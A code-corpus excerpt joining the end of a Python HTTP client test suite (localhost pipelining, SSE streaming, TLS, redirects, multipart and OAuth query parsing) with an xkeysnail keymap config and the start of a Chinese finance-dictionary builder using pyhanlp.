'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'PUT',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]),
'data': {'first': 'John', 'last': 'Smith'},
'mid': 2,
'drop': '.puff.reply',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'body': b'',
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_pipeline_sse_stream():
"""
Test Client pipeline stream sse
"""
tymist = tyming.Tymist(tyme=0.0)
alpha = tcp.Server(port = 6101,
bufsize=131072,
tymth=tymist.tymen())
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
tymth=tymist.tymen(), # passed through to connector
reconnectable=True, # passed through to connector
tymeout=1.0, # passed through to connector
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
while True:
beta.service()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
tymist.tick(tock=0.5)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha == beta.connector.ha
# build request
request = dict([('method', u'GET'),
('path', u'/stream'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs:
beta.service()
time.sleep(0.05)
tymist.tick(tock=0.5)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
tymist.tick(tock=0.5)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == (b'GET /stream HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
ixBeta.clearRxbs()
# build response
lines = [
b'HTTP/1.0 200 OK\r\n',
b'Server: IoBook.local\r\n',
b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n'
b'Content-Type: text/event-stream\r\n',
b'Cache-Control: no-cache\r\n',
b'Connection: close\r\n\r\n',
b'retry: 1000\n\n',
b'id: 0\ndata: START\n\n',
b'id: 1\ndata: 1\ndata: 2\n\n',
b'id: 2\ndata: 3\ndata: 4\n\n',
b'id: 3\ndata: 5\ndata: 6\n\n',
b'id: 4\ndata: 7\ndata: 8\n\n',
]
msgOut = b''.join(lines)
ixBeta.tx(msgOut)
tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5)
while ixBeta.txbs or not tymer.expired:
alpha.serviceSendsAllIx()
time.sleep(0.05)
tymist.tick(tock=0.5)
beta.service()
time.sleep(0.05)
tymist.tick(tock=0.5)
# tymer expired while stream still open so no responses in .responses
assert not beta.connector.rxbs
assert beta.waited
assert not beta.respondent.ended
assert len(beta.responses) == 0
# but events made it into in .events
assert len(beta.events) == 5
assert beta.respondent.retry == 1000
assert beta.respondent.leid == '4'
event = beta.events.popleft()
assert event == {'id': '0', 'name': '', 'data': 'START'}
event = beta.events.popleft()
assert event == {'id': '1', 'name': '', 'data': '1\n2'}
event = beta.events.popleft()
assert event == {'id': '2', 'name': '', 'data': '3\n4'}
event = beta.events.popleft()
assert event == {'id': '3', 'name': '', 'data': '5\n6'}
event = beta.events.popleft()
assert event == {'id': '4', 'name': '', 'data': '7\n8'}
assert not beta.events
# shutdown alpha's ixBeta connection prematurely so beta must reconnect
alpha.closeIx(beta.connector.ca)
alpha.removeIx(beta.connector.ca)
while True:
beta.service()
if not beta.connector.connected:
break
time.sleep(0.1)
tymist.tick(tock=0.5)
assert not beta.connector.cutoff
# auto reconnect
while True:
beta.service()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
tymist.tick(tock=0.5)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha == beta.connector.ha
while (beta.requests or beta.connector.txbs) or not ixBeta.rxbs:
beta.service()
time.sleep(0.05)
tymist.tick(tock=0.5)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
tymist.tick(tock=0.5)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == (b'GET /stream HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n'
b'Last-Event-Id: 4\r\n\r\n')
ixBeta.clearRxbs()
# resume response
lines = [
b'HTTP/1.0 200 OK\r\n',
b'Server: IoBook.local\r\n',
b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n'
b'Content-Type: text/event-stream\r\n',
b'Cache-Control: no-cache\r\n',
b'Connection: close\r\n\r\n',
b'id: 5\ndata: 9\ndata: 10\n\n',
b'id: 6\ndata: 11\ndata: 12\n\n',
]
msgOut = b''.join(lines)
ixBeta.tx(msgOut)
tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5)
while ixBeta.txbs or not tymer.expired:
alpha.serviceSendsAllIx()
time.sleep(0.05)
tymist.tick(tock=0.5)
beta.service()
time.sleep(0.05)
tymist.tick(tock=0.5)
assert not beta.connector.rxbs
#timed out while stream still open so no responses in .responses
assert beta.waited
assert not beta.respondent.ended
assert len(beta.responses) == 0
# but are events in .events
assert len(beta.events) == 2
assert beta.respondent.retry == 1000
assert beta.respondent.leid == '6'
event = beta.events.popleft()
assert event == {'id': '5', 'name': '', 'data': '9\n10'}
event = beta.events.popleft()
assert event == {'id': '6', 'name': '', 'data': '11\n12'}
alpha.close()
beta.close()
def test_client_pipline_echo_simple_tls():
"""
Test Client pipeline servicing with TlS
"""
#serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key
#serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert
#clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert
#clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key
#clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert
#serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert
serverKeypath = certdirpath + '/server_key.pem' # local server private key
serverCertpath = certdirpath + '/server_cert.pem' # local server public cert
clientCafilepath = certdirpath + '/client.pem' # remote client public cert
clientKeypath = certdirpath + '/client_key.pem' # local client private key
clientCertpath = certdirpath + '/client_cert.pem' # local client public cert
serverCafilepath = certdirpath + '/server.pem' # remote server public cert
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
alpha = tcp.ServerTls(host=serverCertCommonName,
port = 6101,
bufsize=131072,
context=None,
version=None,
certify=None,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
assert alpha.reopen()
assert alpha.ha == ('127.0.0.1', 6101)
assert alpha.eha, ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
beta = clienting.Client(hostname=serverCertCommonName,
port=alpha.eha[1],
bufsize=131072,
scheme='https',
reconnectable=True,
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# build request
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'https',
'data': None,
'fargs': None},
'errored': False,
'error': None}
# pipeline another request
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'https',
'data': None,
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_pipeline_echo_simple_path_tls():
"""
Test Client pipeline servicing with path input and tls
"""
#serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key
#serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert
#clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert
#clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key
#clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert
#serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert
serverKeypath = certdirpath + '/server_key.pem' # local server private key
serverCertpath = certdirpath + '/server_cert.pem' # local server public cert
clientCafilepath = certdirpath + '/client.pem' # remote client public cert
clientKeypath = certdirpath + '/client_key.pem' # local client private key
clientCertpath = certdirpath + '/client_cert.pem' # local client public cert
serverCafilepath = certdirpath + '/server.pem' # remote server public cert
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
alpha = tcp.ServerTls(host=serverCertCommonName,
port = 6101,
bufsize=131072,
context=None,
version=None,
certify=None,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,
)
assert alpha.reopen()
assert alpha.ha == ('127.0.0.1', 6101)
assert alpha.eha, ('127.0.0.1', 6101)
path = "https://{0}:{1}/".format(serverCertCommonName, alpha.eha[1])
beta = clienting.Client(path=path,
bufsize=131072,
reconnectable=True,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# build request
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses)== 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'https',
'data': None,
'fargs': None},
'errored': False,
'error': None}
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses)== 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'https',
'data': None,
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_redirect_differnet_path():
"""
Test Client redirect to different path but same server
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
# defaults to redirectable = True
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
reconnectable=True,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# build request
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockRedirectPathService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
# response after redirect
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'method': 'GET',
'path': '/redirect',
'fragment': '',
'qargs': {'name': 'fame'},
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'data': None,
'fargs': None},
'errored': False,
'error': None,
'redirects': [{'version': (1, 1),
'status': 307,
'reason': 'Temporary Redirect',
'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6101/redirect?name=fame')]),
'body': bytearray(b''),
'data': None,
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}]}
alpha.close()
beta.close()
def test_client_redirect_different_servers():
"""
Test Client redirect from one server to another server
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
gamma = tcp.Server(port = 6103, bufsize=131072)
assert gamma.reopen()
assert gamma.ha == ('0.0.0.0', 6103)
assert gamma.eha == ('127.0.0.1', 6103)
host = alpha.eha[0]
port = alpha.eha[1]
# defaults to redirectable = True
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
reconnectable=True,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# build request
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockRedirectingService(alpha)
mockRedirectedService(gamma)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'host': 'localhost',
'port': 6103,
'scheme': 'http',
'method': 'GET',
'path': '/redirect',
'fragment': '',
'qargs': {'name': 'fame'},
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'data': None,
'fargs': None},
'errored': False,
'error': None,
'redirects': [{'version': (1, 1),
'status': 307,
'reason': 'Temporary Redirect',
'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6103/redirect?name=fame')]),
'body': bytearray(b''),
'data': None,
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}]}
alpha.close()
gamma.close()
beta.close()
def test_client_redirect_different_servers_tls():
"""
Test Client redirect to a different server
"""
serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname
#serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key
#serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert
#clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert
serverKeypath = certdirpath + '/server_key.pem' # local server private key
serverCertpath = certdirpath + '/server_cert.pem' # local server public cert
clientCafilepath = certdirpath + '/client.pem' # remote client public cert
alpha = tcp.ServerTls(host=serverCertCommonName,
port = 6101,
bufsize=131072,
context=None,
version=None,
certify=None,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath,)
assert alpha.reopen()
assert alpha.ha == ('127.0.0.1', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
gamma = tcp.ServerTls(host=serverCertCommonName,
port = 6103,
bufsize=131072,
context=None,
version=None,
certify=None,
keypath=serverKeypath,
certpath=serverCertpath,
cafilepath=clientCafilepath)
assert gamma.reopen()
assert gamma.ha == ('127.0.0.1', 6103)
assert gamma.eha == ('127.0.0.1', 6103)
#clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key
#clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert
#serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert
clientKeypath = certdirpath + '/client_key.pem' # local client private key
clientCertpath = certdirpath + '/client_cert.pem' # local client public cert
serverCafilepath = certdirpath + '/server.pem' # remote server public cert
host = serverCertCommonName
port = alpha.eha[1]
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
reconnectable=True,
scheme='https',
certedhost=serverCertCommonName,
keypath=clientKeypath,
certpath=clientCertpath,
cafilepath=serverCafilepath,)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# build request
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockRedirectingServiceTls(alpha)
mockRedirectedService(gamma)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'host': 'localhost',
'port': 6103,
'scheme': 'https',
'method': 'GET',
'path': '/redirect',
'fragment': '',
'qargs': {'name': 'fame'},
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'data': None,
'fargs': None},
'errored': False,
'error': None,
'redirects': [{'version': (1, 1),
'status': 307,
'reason': 'Temporary Redirect',
'headers': Hict([('Content-Type', 'text/plain'),
('Content-Length', '0'),
('Access-Control-Allow-Origin', '*'),
('Location', 'https://localhost:6103/redirect?name=fame')]),
'body': bytearray(b''),
'data': None,
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'https',
'data': None,
'fargs': None},
'errored': False,
'error': None}]}
alpha.close()
gamma.close()
beta.close()
def test_multipart_form():
"""
Test multipart form for Requester
"""
host = u'127.0.0.1'
port = 6101
method = u'POST'
path = u'/echo?name=fame'
headers = dict([(u'Accept', u'application/json'),
(u'Content-Type', u'multipart/form-data')])
fargs = dict([("text", "This is the life,\nIt is the best.\n"),
("html", "<html><body></body><html>")])
request = clienting.Requester(hostname=host,
port=port,
method=method,
path=path,
headers=headers)
msgOut = request.rebuild(fargs=fargs)
part = (b'Content-Disposition: form-data; name="text"\r\n'
b'Content-Type: text/plain; charset=utf-8\r\n\r\n'
b'This is the life,\nIt is the best.\n\r\n')
assert part in msgOut
part = (b'Content-Disposition: form-data; name="html"\r\n'
b'Content-Type: text/plain; charset=utf-8\r\n\r\n'
b'<html><body></body><html>\r\n')
assert part in msgOut
assert request.head.startswith((b'POST /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Content-Length: 325\r\n'
b'Accept: application/json\r\n'
b'Content-Type: multipart/form-data; boundary='))
def test_query_quoting():
"""
Test agorithm for parsing and reassembling query
"""
location = ('https%3A%2F%2Fapi.twitter.com%2F1.1%2Faccount%2Fverify_credentials.json'
'?oauth_consumer_key=<KEY>'
'&oauth_nonce=eb616fe02004000'
'&oauth_signature_method=HMAC-SHA1'
'&oauth_timestamp=1437580412'
'&oauth_token=<KEY>'
'&oauth_version=1.0'
'&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D')
path, sep, query = location.partition('?')
path = unquote(path)
if sep:
location = sep.join([path, query])
else:
location = path
assert location == ('https://api.twitter.com/1.1/account/verify_credentials.json'
'?oauth_consumer_key=<KEY>'
'&oauth_nonce=eb616fe02004000'
'&oauth_signature_method=HMAC-SHA1'
'&oauth_timestamp=1437580412'
'&oauth_token=<KEY>'
'&oauth_version=1.0'
'&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D')
splits = urlsplit(location)
query = splits.query
assert query == ('oauth_consumer_key=<KEY>'
'&oauth_nonce=eb616fe02004000'
'&oauth_signature_method=HMAC-SHA1'
'&oauth_timestamp=1437580412'
'&oauth_token=<KEY>'
'&oauth_version=1.0'
'&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D')
querySplits = query.split('&')
assert querySplits == ['oauth_consumer_key=<KEY>',
'oauth_nonce=eb616fe02004000',
'oauth_signature_method=HMAC-SHA1',
'oauth_timestamp=1437580412',
'oauth_token=<KEY>TTuN0laSqD4vxCb2B7xh62YD',
'oauth_version=1.0',
'oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D']
qargs = dict()
for queryPart in querySplits: # this prevents duplicates even if desired
if queryPart:
if '=' in queryPart:
key, val = queryPart.split('=', 1)
val = unquote(val)
else:
key = queryPart
val = True
qargs[key] = val
assert qargs == {'oauth_consumer_key': u'<KEY>',
'oauth_nonce': u'eb616fe02004000',
'oauth_signature_method': u'HMAC-SHA1',
'oauth_timestamp': u'1437580412',
'oauth_token': u'<KEY>',
'oauth_version': u'1.0',
'oauth_signature': u'KBD3DdNVZBjyOd0fqQ9X17ack='}
qargParts = ["{0}={1}".format(key, quote_plus(str(val)))
for key, val in qargs.items()]
newQuery = '&'.join(qargParts)
assert newQuery == ('oauth_consumer_key=<KEY>'
'&oauth_nonce=eb616fe02004000'
'&oauth_signature_method=HMAC-SHA1'
'&oauth_timestamp=1437580412'
'&oauth_token=<KEY>'
'&oauth_version=1.0'
'&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D')
if __name__ == '__main__':
test_query_quoting()
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] |
xkeysnail/.xkeysnail/config.py | tomato-300yen/dotfiles | 0 | 176692 | import re
from xkeysnail.transform import K, define_keymap, set_mark, with_mark
define_keymap(
lambda wm_class: wm_class not in ("Gnome-terminal", "Alacritty", "kitty"),
{
# cousor
K("LC-A"): with_mark(K("home")),
K("LC-E"): with_mark(K("end")),
K("LC-P"): K("UP"),
K("LC-N"): K("DOWN"),
K("LC-F"): K("RIGHT"),
K("LC-B"): K("LEFT"),
K("LC-H"): K("BACKSPACE"),
K("LC-D"): [K("delete"), set_mark(False)],
K("LC-K"): [K("Shift-end"), K("C-x"), set_mark(False)],
# restore original bind
K("Shift-LC-A"): K("LC-A"),
K("Shift-LC-E"): K("LC-E"),
K("Shift-LC-P"): K("LC-P"),
K("Shift-LC-N"): K("LC-N"),
K("Shift-LC-F"): K("LC-F"),
K("Shift-LC-B"): K("LC-B"),
K("Shift-LC-H"): K("LC-H"),
K("Shift-LC-D"): K("LC-D"),
K("Shift-LC-K"): K("LC-K"),
# Backslash
# K("YEN"): K("BACKSLASH"),
},
"NotInTerminal",
)
define_keymap(
re.compile("Gnome-terminal"),
{
# K("SEMICOLON"): K("LShift-SEMICOLON-LShift"),
# K("LShift-SEMICOLON"): K("SEMICOLON"),
# K("YEN"): K("BACKSLASH"),
},
"terminal",
)
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FinanceDicBuilder/DicBuilder.py | dukechain2333/Finance-Text-Analysis-System | 2 | 26227 | # -*- coding: UTF-8 -*-
from pyhanlp import *
from DataBaseOperator import DBConnector
class DicBuilder:
def __init__(self, id=-1):
"""
构建金融行业字典
:param id: 从数据库中通过index选择文本，默认-1即全选
"""
self.id = id
self.stopWords_path = r'EmotionBasedDic/stopwords.txt'
self.negativeWords_path = r'EmotionBasedDic/TsingHua/tsinghua.negative.gb.txt'
self.positiveWords_path = r'EmotionBasedDic/TsingHua/tsinghua.positive.gb.txt'
self.financeDic_path = r'EmotionBasedDic/FinanceWordDic.txt'
def loadContent(self):
"""
加载数据库中的文本
:return: （（文本,）,）
"""
dbConnector = DBConnector.DBConnector()
data = dbConnector.selectContent(self.id)
return data
def split_word(self, data):
"""
使用hanlp进行分词
:param data:传入文本
:return:
"""
splitWords = HanLP.segment(data)
tmp = []
for i in splitWords:
tmp.append(str(i).split('/'))
return tmp
def remove_attribute(self, data):
"""
去除词性
:param data:传入[[文本,词性],]的列表
:return: [文本,]
"""
wordList = []
for i in data:
wordList.append(i[0])
return wordList
def rubbish_dic(self):
"""
生成需要去除的词汇列表（停止词，感情词汇，标点符号）
:return:[无用词汇,]
"""
with open(self.stopWords_path, encoding='utf8') as file:
stopWords = file.readlines()
for i in range(len(stopWords)):
stopWords[i] = stopWords[i].strip()
with open(self.negativeWords_path, encoding='gbk') as file:
negativeWords = file.readlines()
for i in range(len(negativeWords)):
negativeWords[i] = negativeWords[i].strip()
